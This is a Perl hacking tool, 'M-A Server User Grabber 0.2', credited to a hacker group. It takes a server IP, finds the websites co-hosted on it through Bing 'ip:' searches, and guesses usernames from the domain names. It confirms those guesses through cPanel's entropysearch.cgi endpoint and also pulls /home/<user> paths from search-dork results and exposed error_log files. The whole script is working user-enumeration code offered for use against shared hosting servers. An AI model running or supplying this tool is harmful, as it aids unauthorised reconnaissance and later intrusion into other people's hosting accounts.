M-A Server User Grabber 0.2

#!/usr/bin/perl
#
# M-A_labz project
# gr33tz : b0y h4ck3r , Mr_Anarshi-T
# H0m3 "WwW.SeC4EvEr.CoM"
#
# check for error using $ip public_html & scan for error_log
# to check if user exist /cgi-sys/entropysearch.cgi?user=

use HTTP::Request;
use Win32::Console::ANSI;
use LWP::Simple;
use Term::ANSIColor;
## Conf
print color ("bold white"), "\n[+] M-A Server User Grabber 0.2 \n";
print color 'reset';
print color ("red"), "\n[+] Enter IP : ";
print color 'reset';
$ip=<STDIN>;
chomp($ip);
## Start Grabbing from bing Basing on ip
my $page = 0;
                print color("green"), "[+] Working on $ip\n";
                print color 'reset';
        while (1) {

                my $content = get("http://www.bing.com/search?q=ip%3A$ip&first=$page&FORM=PERE") or die("Error while reversing\n");
                my $status = keys %group;
                while ( $content =~ /<cite>[:\/\/]*([\w\.\-]+)[\w+\/\.\-_:\?=]*<\/cite>/g) {
                        $group{$1} = undef;
                }
                last if ($status == keys %group);
                $page = $page + 10;
                }
        open (rev,">result-$ip.txt");
        foreach my $host (keys %group) {
        print rev "$host\n";
        }
        close(rev);
        print color("green"),  "[+] D0ne Grabbing Sites\n";
        print color 'reset';

## start parsing users
print color("green"),  "[+] Start Users Listing ...\n\n";
print color 'reset';
## sort sites list
system("cp result-$ip.txt result-sites-$ip.txt");
system("sed -e \"s/www.//g\" result-$ip.txt > tt2.txt");
system("rm -rf result-$ip.txt");
system("sed -e \"s/\\.//g\" tt2.txt > tt3.txt");
system("rm -rf tt2.txt");
system("sed -e \"s/-//g\" tt3.txt > result-$ip.txt");
system("rm -rf tt3.txt");

sleep 0.1;
## get first 8 char of each site
system("cut -c-8 result-$ip.txt > users-$ip.txt");
##
open (file2, "<users-$ip.txt") || die "[-] Can't Open Users List !";
my @users = <file2>;
close file2;
foreach my $user (@users) {
chomp $user;

my $check = "http://$ip/cgi-sys/entropysearch.cgi?user=$user";
my $reqcheck=HTTP::Request->new(GET=>$check);
my $uacheck=LWP::UserAgent->new();
$uacheck->timeout(5);
my $responsecheck=$uacheck->request($reqcheck);

if ($responsecheck->content=~ /$user/)
{
print color("yellow"), "[+] User Found : $user\n";
print color 'reset';
open(TN,">>$ip-users-1.txt");
print TN "$user\n";
close(TN);
}
}
sleep 0.2;
## check from public_html
print color("green"), "[+] Start Grapping from dork ...\n";
print color 'reset';
users();
sub users {
my $page = 0;
        while (1) {

                my $content2 = get("http://www.bing.com/search?q=ip%3A$ip+%2Fpublic_html%2F&first=$page&FORM=PERE") or die("Error while reversing\n");
                my $status2 = keys %group2;
                while ( $content2 =~ m/\/home\/(.*?)\/<strong>/g)
                {
                        $group2{$1} = undef
                }
                last if ($status2 == keys %group2);
                $page = $page + 10;
                }
        open (rev2,">result-1-$ip.txt");
        foreach my $host2 (keys %group2) {
        print color("yellow"), "[+] User Found : $host2\n";
print color 'reset';
        print rev2 "$host2\n";
        }
        close(rev2);
        }
## open result-sites-$ip.txt to check error_log
open (file3, "<result-sites-$ip.txt") || die "[-] Can't Open Site List !";
my @sites = <file3>;
close file3;
print color("green"), "[+] Start error_log scanning ...\n";
print color 'reset';
foreach my $site (@sites) {
chomp $site;
my $checklog = "http://$site/error_log";
my $reqchecklog=HTTP::Request->new(GET=>$checklog);
my $uachecklog=LWP::UserAgent->new();
$uachecklog->timeout(5);
my $responsechecklog=$uachecklog->request($reqchecklog);
if ($responsechecklog->content=~ m/\/home\/(.*?)\/public_html/g)
{
print color("yellow"), "[+] User Found : $1\n";
print color 'reset';
open(TN,">>$ip-users-2.txt");
print TN "$1\n";
close(TN);
}
}
## sort & clean
 if (-e "$ip-users-2.txt") {
system("cat $ip-users-1.txt $ip-users-2.txt > $ip-users.txt");
}else{
system("mv $ip-users-1.txt $ip-users.txt");
}
system("rm -rf users-$ip.txt && rm -rf result-$ip.txt && rm -rf $ip-users-1.txt && rm -rf $ip-users-2.txt && rm -rf result-1-$ip.txt");